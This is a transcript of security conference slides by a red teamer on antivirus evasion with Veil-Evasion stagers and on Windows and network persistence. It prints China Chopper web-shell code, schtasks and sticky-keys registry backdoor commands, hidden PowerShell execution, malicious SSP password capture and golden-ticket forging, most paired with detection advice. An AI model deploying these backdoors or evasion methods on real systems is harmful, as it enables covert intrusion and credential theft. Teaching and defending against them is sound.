The Supporting Role of Antivirus Evasion while Persisting

125
The Supporting Role of Antivirus while Persisting @ChrisTruncer

Transcript of The Supporting Role of Antivirus Evasion while Persisting

Page 1: The Supporting Role of Antivirus Evasion while Persisting

The Supporting Role of Antivirus while Persisting

@ChrisTruncer

Page 2: The Supporting Role of Antivirus Evasion while Persisting

Christopher Truncer

Previous Systems Administrator turned Red Teamer

Red Team Lead at Mandiant

Florida State Seminole

Open Source Developer

@ChrisTruncer

Page 3: The Supporting Role of Antivirus Evasion while Persisting

What’s this talk about?

◉ How Stagers Work◉ Case Study: Bypassing a Signature◉ The Right Way to do Detection◉ Persistence - lots of it! :)◉ Old School and New School Techniques◉ Persistence Detection◉ Questions

Page 4: The Supporting Role of Antivirus Evasion while Persisting

Antivirus Evasion

Page 5: The Supporting Role of Antivirus Evasion while Persisting

Antivirus Evasion

◉ Whites hats and attackers need to evade antivirus

◉ Evading to establish immediate C&C of compromised system

◉ Also used to maintain access on a system/in a network

Page 6: The Supporting Role of Antivirus Evasion while Persisting

Antivirus Evasion

◉ If required to use an executable, we’ll use a stager

◉ Stager - Veil-Evasion or MSFVenom output◉ Inject shellcode into memory◉ Shellcode will download and inject a reflective dll◉ A “loader” for your real malware

Page 7: The Supporting Role of Antivirus Evasion while Persisting

Stagers

◉ Stagers can be developed in any language that can interact with the Windows functions

◉ It’s not hard to write a stager○ Just four function calls

Page 8: The Supporting Role of Antivirus Evasion while Persisting

Stagers

◉ Allocate memory to store shellcode, and set the proper memory permissions

◉ Copy shellcode into the allocated memory◉ Create a thread to execute the shellcode◉ Have code wait until thread is done executing

Page 9: The Supporting Role of Antivirus Evasion while Persisting

Stagers

◉ VirtualAlloc◉ RtlMoveMemory◉ CreateThread◉ WaitforSingleObject

Page 10: The Supporting Role of Antivirus Evasion while Persisting
Page 11: The Supporting Role of Antivirus Evasion while Persisting

AV’s Approach to Catching Malware

Page 12: The Supporting Role of Antivirus Evasion while Persisting

Methods of Detection

◉ Signature Based○ This is what Veil-Evasion targets

◉ Heuristics Based◉ Crowd Sourced

○ Reputation Based

Page 13: The Supporting Role of Antivirus Evasion while Persisting

Veil’s Approach to Bypassing AV

Page 14: The Supporting Role of Antivirus Evasion while Persisting

Approaches to Bypassing AV

◉ Ghost code / net no-operation code◉ Encrypted binaries

○ Hyperion

◉ Custom Code

Page 15: The Supporting Role of Antivirus Evasion while Persisting

Veil’s Approach

◉ Fight on-disk detection through different techniques○ Obfuscated code○ Encrypted code○ Non-standard languages for Windows binaries

■ Python, Ruby, Perl, etc.○ Shellcode-less binaries

Page 16: The Supporting Role of Antivirus Evasion while Persisting

Veil’s Approach

◉ Languages within Veil-Evasion○ Python○ Perl○ PowerShell○ C#○ C○ Go○ Ruby

Page 17: The Supporting Role of Antivirus Evasion while Persisting

Veil’s Approach

◉ Using a language that’s not C or C# made a large difference○ AV programs didn’t know or couldn’t properly inspect

non-standard languages

◉ Example:○ C vs. Python

Page 18: The Supporting Role of Antivirus Evasion while Persisting
Page 19: The Supporting Role of Antivirus Evasion while Persisting
Page 20: The Supporting Role of Antivirus Evasion while Persisting

Simply changing the language the code is written in

completely bypassed all signatures.

Page 21: The Supporting Role of Antivirus Evasion while Persisting

Veil Module

Page 22: The Supporting Role of Antivirus Evasion while Persisting
Page 23: The Supporting Role of Antivirus Evasion while Persisting

Veil Module

◉ Add a little complexity, so it isn’t just easily obvious what is happening

◉ What about encrypting the code?◉ What about making the tool brute-force its own

key?

Page 24: The Supporting Role of Antivirus Evasion while Persisting

Stallion

◉ Generate a random encryption key, that is artificially constrained○ JDUdmdkdueoLKJMsdfjkn#$%d + 1234567

◉ Test for a known string with decryption key○ If it doesn’t match, it’s the wrong key○ If it matches, decrypt the shellcode and inject it into memory

Page 25: The Supporting Role of Antivirus Evasion while Persisting
Page 26: The Supporting Role of Antivirus Evasion while Persisting
Page 27: The Supporting Role of Antivirus Evasion while Persisting

Signature Bypass

Page 28: The Supporting Role of Antivirus Evasion while Persisting

Signature Bypass

◉ After approximately one year, Veil had its first AV signature

Page 29: The Supporting Role of Antivirus Evasion while Persisting

Signature Bypass

◉ I was excited to see if someone finally figured Veil-Evasion out○ It is open source…

◉ Previous attempts have turned out fairly humorous

Page 30: The Supporting Role of Antivirus Evasion while Persisting
Page 31: The Supporting Role of Antivirus Evasion while Persisting
Page 32: The Supporting Role of Antivirus Evasion while Persisting
Page 33: The Supporting Role of Antivirus Evasion while Persisting
Page 34: The Supporting Role of Antivirus Evasion while Persisting
Page 35: The Supporting Role of Antivirus Evasion while Persisting
Page 36: The Supporting Role of Antivirus Evasion while Persisting
Page 37: The Supporting Role of Antivirus Evasion while Persisting
Page 38: The Supporting Role of Antivirus Evasion while Persisting
Page 39: The Supporting Role of Antivirus Evasion while Persisting

Persistence

Hosts vs. Networks

Page 40: The Supporting Role of Antivirus Evasion while Persisting

Persistence Purposes

◉ Persistence is commonly used to for one of two purposes:○ Persisting on a host○ Persisting a network

◉ A lot of the techniques I will cover can facilitate access for both purposes

Page 41: The Supporting Role of Antivirus Evasion while Persisting

Persisting Hosts

◉ When persisting a host, an attacker is looking for ad-hoc, or programmatically defined access, to a system○ Attacker want this as close to on-demand as possible

◉ The efforts undertaken by an attacker are directed to maintaining access to a specific host

Page 42: The Supporting Role of Antivirus Evasion while Persisting

Persisting Hosts

◉ What’s needed for persisting hosts?○ Survive Reboots

■ Probably the most important concept○ Have administrative rights on the system○ Compliment network based persistence

Page 43: The Supporting Role of Antivirus Evasion while Persisting

Persisting Networks

◉ Network based persistence in two contexts○ Used to maintain access into a network

■ Similar to host-based persistence, but its purpose isn’t for access to host, but the network

○ Used to maintain access into different networks■ Don’t want to be VLANed off in in a VOIP network

Page 44: The Supporting Role of Antivirus Evasion while Persisting

Persisting Networks (continued)

◉ What’s other network based persistence options?○ Attackers can use persistence not only to maintain access to

a network, but also obtaining their required domain permissions on-demand

○ Access likely facilitated through a host-based persistence technique

Page 45: The Supporting Role of Antivirus Evasion while Persisting

Persisting Networks

Page 46: The Supporting Role of Antivirus Evasion while Persisting

Web Shells

◉ Funny, this seems trivial and too easy that no one would ever use this…

◉ ...that’s not the case○ China Chopper - APT17, APT19, APT22○ ITSecShell, reDuh, ASPShell○ Even commodity code

Page 47: The Supporting Role of Antivirus Evasion while Persisting

China Chopper

◉ Very tiny webshell, about 4kb stored server side◉ Developed in a variety of languages

○ CFM○ ASP○ PHP○ Etc.

◉ A client application is used to interact with the webshell

Page 48: The Supporting Role of Antivirus Evasion while Persisting

China Chopper Server Code

◉ ASP○ <%@ Page

Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

◉ PHP○ <?php @eval($_POST['password']);?>

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

Page 49: The Supporting Role of Antivirus Evasion while Persisting
Page 50: The Supporting Role of Antivirus Evasion while Persisting

China Chopper

◉ Really useful features in China Chopper○ File Explorer○ Upload/Download files○ Mod file timestamp attributes○ Database client - MSSQL, MySQL○ Command shell

Page 51: The Supporting Role of Antivirus Evasion while Persisting

Web Shell Prevention & Detection

◉ Hunt/Sweep for known bad files○ Hashes, or other file based indicators

◉ Blacklist all filetypes except expected files for upload functionality

◉ Don’t allow your web server to execute files uploaded from untrusted sources

Page 52: The Supporting Role of Antivirus Evasion while Persisting

Magic Packet

◉ Or “how to access port 12345 with a packet to port 443”

◉ The attacker’s problem:○ Compromised a web server (port 80 and 443 are in use)○ Firewall(s) prevent connection to any other port○ Wants a TCP backdoor to be remotely accessible

■ Can’t be bothered to write a webshell

Page 53: The Supporting Role of Antivirus Evasion while Persisting

Magic Packet

◉ Run backdoor listening on port 12345◉ Run malware “low” in the network stack

○ Check incoming TCP SYN packets○ When a SYN packet is received with a specific signature,

change destination port from 443 to 12345○ Windows network stack then delivers the pack to port 12345○ Malware alters the port in all subsequent packets for the

stream

Page 54: The Supporting Role of Antivirus Evasion while Persisting

Syn, dport: 443data=s3cr37

Mal

war

eSyn, dport: 12345

SynAcksport: 12345

SynAcksport: 443

1234

5

Compromised System

443

Page 55: The Supporting Role of Antivirus Evasion while Persisting

Magic Packet - Defenses

◉ This malware was installed via a custom compiled executable○ Application Whitelisting○ Device Guard

Page 56: The Supporting Role of Antivirus Evasion while Persisting

Outlook

◉ Outlook rules can help provide a very unique on-demand foothold onto a host

◉ Silent Break wrote a post on leveraging Outlook rules to gain access to a user’s system

◉ Provides access immediately when Outlook triggers the rule

Page 57: The Supporting Role of Antivirus Evasion while Persisting

Outlook

◉ Attacker creates an Outlook rule to execute a binary when the “trigger” subject is received

◉ Attacker will sync the rule against the target user’s account

◉ Send an e-mail with the trigger in the subject◉ Get shell :)

Page 58: The Supporting Role of Antivirus Evasion while Persisting
Page 59: The Supporting Role of Antivirus Evasion while Persisting
Page 60: The Supporting Role of Antivirus Evasion while Persisting

Outlook - Additional Tweaks

◉ Have another rule auto-delete the incoming e-mail to prevent user detection of the trigger○ https://silentbreaksecurity.com/malicious-outlook-rules/

Page 61: The Supporting Role of Antivirus Evasion while Persisting

Outlook - Detection

◉ Honestly, not certain on the best means to detect this at scale

◉ Primary IOC is to execute a program when receiving an e-mail○ I don’t know if any legit use cases for this

Page 62: The Supporting Role of Antivirus Evasion while Persisting

Persisting Hosts

Page 63: The Supporting Role of Antivirus Evasion while Persisting

Registry Hacks

◉ This is the 101 method for persistence that almost everyone learns

◉ Extremely easy to set up, and can be installed with a range of permissions

Page 64: The Supporting Role of Antivirus Evasion while Persisting

Registry Hacks

◉ These can be configured to run when the system starts, or a user logs into the system○ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\R

un○ HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\R

un

◉ These methods are highly publicized and well known.

◉ Defensive tools look for these

Page 65: The Supporting Role of Antivirus Evasion while Persisting

Registry Hacks - Takeaway

◉ These can be good for maintaining initial access, but not for long term use

◉ SOCs - you want to have the ability to detect these

Page 66: The Supporting Role of Antivirus Evasion while Persisting

Startup Folder

◉ Your system will execute files in the startup folder○ C:\ProgramData\Microsoft\Windows\Start

Menu\Programs\Startup

Page 67: The Supporting Role of Antivirus Evasion while Persisting

Scheduled Tasks

◉ Scheduled tasks are an easy way for a user of any level to persist on a system

◉ With the proper permissions, you can schedule a task up to the SYSTEM level

◉ This is Microsoft’s recommendation/alternative to using “at” jobs

Page 68: The Supporting Role of Antivirus Evasion while Persisting

Scheduled Tasks

◉ Scheduled tasks can be created from the command line with schtasks.exe or the GUI

◉ Tasks can run at startup, when a user logs into the system, after the system has been idle, etc.

◉ Tasks can run binaries, PowerShell one-liners, and more

Page 69: The Supporting Role of Antivirus Evasion while Persisting
Page 70: The Supporting Role of Antivirus Evasion while Persisting

Scheduled Tasks

◉ schtasks /create /tn SysUpdate /sc onidle /i 15 /tr c:\users\chris\downloads\safe.exe

◉ schtasks /create /tn WinUpdate /sc onstart /ru System /tr c:\totallylegit.exe /s winsqldbsystem

Page 71: The Supporting Role of Antivirus Evasion while Persisting

Scheduled Tasks - Detection

◉ Obtain a baseline of the scheduled tasks set to run on your systems○ Schtasks /query○ Task scheduler○ Etc.

◉ Audit systems and identify deviations from your baseline

Page 72: The Supporting Role of Antivirus Evasion while Persisting

Service Manipulation

◉ Services usually run with SYSTEM level permissions, so can be juicy targets for attackers

◉ Easy way to install service based persistence? Check service binary write permissions!

Page 73: The Supporting Role of Antivirus Evasion while Persisting
Page 74: The Supporting Role of Antivirus Evasion while Persisting

Service Manipulation

◉ Now that you found services that can be modified, you just need a service binary.○ Veil-Evasion, PowerUp, custom code

◉ Save the original service binary◉ Bounce the box (or service) if required

Page 75: The Supporting Role of Antivirus Evasion while Persisting

Sticky Keys

◉ With administrative access to a machine, you can easily setup sticky keys○ Copy sethc.exe○ Copy cmd.exe to C:\Windows\System32\sethc.exe○ Reboot, and hit shift five times

Page 76: The Supporting Role of Antivirus Evasion while Persisting
Page 77: The Supporting Role of Antivirus Evasion while Persisting

Sticky Keys - Another Method

◉ Set cmd.exe as the debugger for sethc.exe◉ REG ADD

"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Page 78: The Supporting Role of Antivirus Evasion while Persisting

Sticky Keys - Another Method

◉ Main problem - doesn’t require authentication◉ If using Sticky Keys, ensure it’s calling back to a

location you control, vs. opening up the system for everyone

Page 79: The Supporting Role of Antivirus Evasion while Persisting

Sticky Keys - Detection

◉ Compare known good sethc.exe binary hash with systems’ current sethc.exe binary

◉ Ensure no registry key is added defining a debugger for sethc.exe

Page 80: The Supporting Role of Antivirus Evasion while Persisting

New School Persistence Techniques

Page 81: The Supporting Role of Antivirus Evasion while Persisting

DLL Search Order Hijack

◉ DLL search order hijacking exploits how windows searches for DLLs when loading an executable

◉ Specifically, it exploits the fact that Windows will always search the currently folder of the executable for a dll

Page 82: The Supporting Role of Antivirus Evasion while Persisting

DLL Search Order Hijack

◉ Sample in CAPEC○ If you drop ntshrui.dll within C:\Windows and run

explorer.exe, you can get the dll within C:\Windows to be executed

◉ This exploits the order in which the dll is searched for on a Windows system

Page 83: The Supporting Role of Antivirus Evasion while Persisting

DLL Search Order Hijack

◉ Attackers create malicious DLLs that exploit this search order to get their DLL to run on a system

◉ Since it’s every time the application runs, it can be used as a persistence technique

◉ PowerUp can be used to find these opportunities

Page 84: The Supporting Role of Antivirus Evasion while Persisting

DLL Search Order Hijack

◉ Used by the following actors:○ APT 1, APT 8, APT 17, APT 19, APT 22, APT 26

◉ Used by the following malware:○ AMISHARP, GH0ST, HOMEUNIX, POISON IVY, VIPER

Page 85: The Supporting Role of Antivirus Evasion while Persisting

Legitimate Scheduled Tasks

◉ Easy to identify scheduled tasks named “Evil task”

◉ First we must look at how investigators detect malicious scheduled tasks

Page 86: The Supporting Role of Antivirus Evasion while Persisting

Legitimate Scheduled Tasks

◉ Stacking tasks across multiple systems to determine anomalous tasks

◉ Parse task scheduler log (schedLgu.txt)

Page 87: The Supporting Role of Antivirus Evasion while Persisting

Legitimate Scheduled Tasks

◉ What if we modify existing legit scheduled tasks?○ Specifically tasks that are

not required for Windows functionality

Page 88: The Supporting Role of Antivirus Evasion while Persisting

Unquoted Service Paths

◉ Unquoted service paths exploit a vulnerability in the order that Windows searches for a binary when a space is in an unquoted path○ C:\Program Files(x86)\Steam\Steam Gaming\steam.exe

Page 89: The Supporting Role of Antivirus Evasion while Persisting

Unquoted Service Paths

◉ C:\Program Files(x86)\Steam\Steam Gaming\steam.exe○ C:\Program.exe○ C:\Program Files(x86)\Steam\Steam.exe○ C:\Program Files(x86)\Steam\Steam Gaming\steam.exe

◉ Three opportunities

Page 90: The Supporting Role of Antivirus Evasion while Persisting

Unquoted Service Paths

◉ If we have write access to any of the paths that Windows looks for, we can hijack the service○ Just need a service binary

◉ Drop it into any of the paths on the previous slide, and restart the service○ Might need to wait for a reboot

Page 91: The Supporting Role of Antivirus Evasion while Persisting

Unquoted Service Paths - Prevention

◉ Check service binaries on your images and determine if any are using unquoted service paths.

◉ Make sure the paths aren’t writable to non-admins.

◉ PowerUp can find these as well

Page 92: The Supporting Role of Antivirus Evasion while Persisting

WMI Requirements

◉ Event Filter◉ Event Consumer◉ Filter/Consumer Binding

Page 93: The Supporting Role of Antivirus Evasion while Persisting

WMI Requirements - Event Filter

◉ The WMI query that fires upon an event occurring○ Usually, an event class derived from

__InstanceModificationEvent, __InstanceCreationEvent, or __InstanceDeletionEvent

Page 94: The Supporting Role of Antivirus Evasion while Persisting

WMI Requirements - Event Consumer

◉ There are five different event consumers○ The most interesting one is “CommandLineEventConsumer”

◉ These “consume” or act on events that occur

Page 95: The Supporting Role of Antivirus Evasion while Persisting

WMI Requirements - Filter/Consumer Binding

◉ This associates a WMI Event Filter with the Event Consumer

Page 96: The Supporting Role of Antivirus Evasion while Persisting

WMI - Persistence

◉ PowerSploit’s persistence module for WMI○ Automates the creation process○ Will create a permanent WMI event subscription

Page 97: The Supporting Role of Antivirus Evasion while Persisting

PowerShell Profiles

◉ Anytime PowerShell runs, it will execute code in the default profile

◉ Create profile code here:○ C:\Windows\System32\WindowsPowerShell\v1.0\profile.p

s1

Page 98: The Supporting Role of Antivirus Evasion while Persisting

PowerShell Profiles

◉ Use standard persistence mechanism to execute PowerShell silently○ "C:\Windows\System32\WindowsPowerShell\v1.0\powers

hell.exe" -NonInteractive -WindowStyle Hidden○ It’s a legit exe!

Page 99: The Supporting Role of Antivirus Evasion while Persisting

PowerShell Profiles

◉ Example in profile.ps1:○ iex("write-host 'hello world'")

Page 100: The Supporting Role of Antivirus Evasion while Persisting

Security Support Provider

◉ A Security Support Provider (SSP) - a security package○ An extension used to perform authentication during

client/server exchange

◉ An Authentication Package (AP)○ Extends interactive login authentication○ Example: RSA tokens

Page 101: The Supporting Role of Antivirus Evasion while Persisting

Security Support Provider

◉ SSP/AP○ Can serve tasks of SSPs and APs - loaded into lsass at boot○ Example: Kerberos and msv1_0 (NTLM)

Page 102: The Supporting Role of Antivirus Evasion while Persisting

Security Support Provider

◉ Install your own SSP that is loaded into lsass.exe◉ Can develop your own SSP DLL◉ Use Persistence module in PowerSploit to install

your malicious SSP

Page 103: The Supporting Role of Antivirus Evasion while Persisting

Security Support Provider

◉ Ben Delpy (@gentilkiwi) added SSP functionality into mimilib.dll○ Once installed and loaded into lsass.exe, it captures

plaintext passwords

Page 104: The Supporting Role of Antivirus Evasion while Persisting
Page 105: The Supporting Role of Antivirus Evasion while Persisting
Page 106: The Supporting Role of Antivirus Evasion while Persisting

Excel Magic

◉ Malicious macro executes backdoor◉ How can you ensure persistence?

○ Most users will run Excel once a day○ You can use any “old school” techniques to spawn Excel○ Disable macro settings to run macro without user prompt

Page 107: The Supporting Role of Antivirus Evasion while Persisting

Excel Magic

◉ Registry modification that opens specific Workbook upon starting Excel○ HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Ex

cel\Security\Trusted Locations○ Just add the location

Page 108: The Supporting Role of Antivirus Evasion while Persisting
Page 109: The Supporting Role of Antivirus Evasion while Persisting
Page 110: The Supporting Role of Antivirus Evasion while Persisting
Page 111: The Supporting Role of Antivirus Evasion while Persisting

Additional Persistence Opportunities

Page 112: The Supporting Role of Antivirus Evasion while Persisting

Golden Tickets

◉ Method was developed with Ben Delpy and Sean Metcalf

◉ Forges a “golden” kerberos ticket which can be good for 10 years!

◉ Golden tickets provide on-demand domain privilege “upgrades” for any group within the domain

Page 113: The Supporting Role of Antivirus Evasion while Persisting

Golden Tickets

◉ Only need four pieces of information○ Domain SID○ Name of the domain○ User you want to create a ticket for○ Krbtgt account hash

◉ You can build your ticket at home, offline

Page 114: The Supporting Role of Antivirus Evasion while Persisting
Page 115: The Supporting Role of Antivirus Evasion while Persisting
Page 116: The Supporting Role of Antivirus Evasion while Persisting
Page 117: The Supporting Role of Antivirus Evasion while Persisting

Golden Ticket Takeaways

◉ If impersonating an account, tickets are still valid even if password changes

◉ Valid for as long as you specify (10 year default)◉ Domain trusts

○ Child domains can compromise the parent

◉ Only way to stop is change krbtgt hash… twice…◉ Or rebuild from bare metal

Page 118: The Supporting Role of Antivirus Evasion while Persisting

Account Checkout - Case Study

◉ Client had account checkout system for domain administrator accounts

◉ Only two users with access to checkout system◉ System requires 2FA◉ DA access is lost if user changes their

password/pin/token◉ Users can see checked out accounts

Page 119: The Supporting Role of Antivirus Evasion while Persisting
Page 120: The Supporting Role of Antivirus Evasion while Persisting

Account Checkout - Case Study

◉ Persist domain administrator without getting caught○ Can’t continuously check out accounts

◉ Password vault permissions were managed through Active Directory groups○ Tons of them

Page 121: The Supporting Role of Antivirus Evasion while Persisting

Account Checkout - Case Study

◉ Copy group memberships to a compromised user account○ User doesn’t use the Password Vault

■ All changes were documented

◉ This gave us all the permissions we needed without needing access to their Password Vault

Page 122: The Supporting Role of Antivirus Evasion while Persisting

Account Checkout - Case Study

◉ Copy group memberships to a compromised user account○ User doesn’t use the Password Vault

■ All changes were documented

◉ This gave us all the permissions we needed without needing access to their Password Vault

Page 123: The Supporting Role of Antivirus Evasion while Persisting

Conclusions

Page 124: The Supporting Role of Antivirus Evasion while Persisting

Conclusions

◉ Persistence will remain rampant◉ Always new and creative ways to maintain

persistence◉ Understanding persistence techniques is critical

to detecting attacker access

Page 125: The Supporting Role of Antivirus Evasion while Persisting

Thanks!

ANY QUESTIONS?

@ChrisTruncer

[email protected]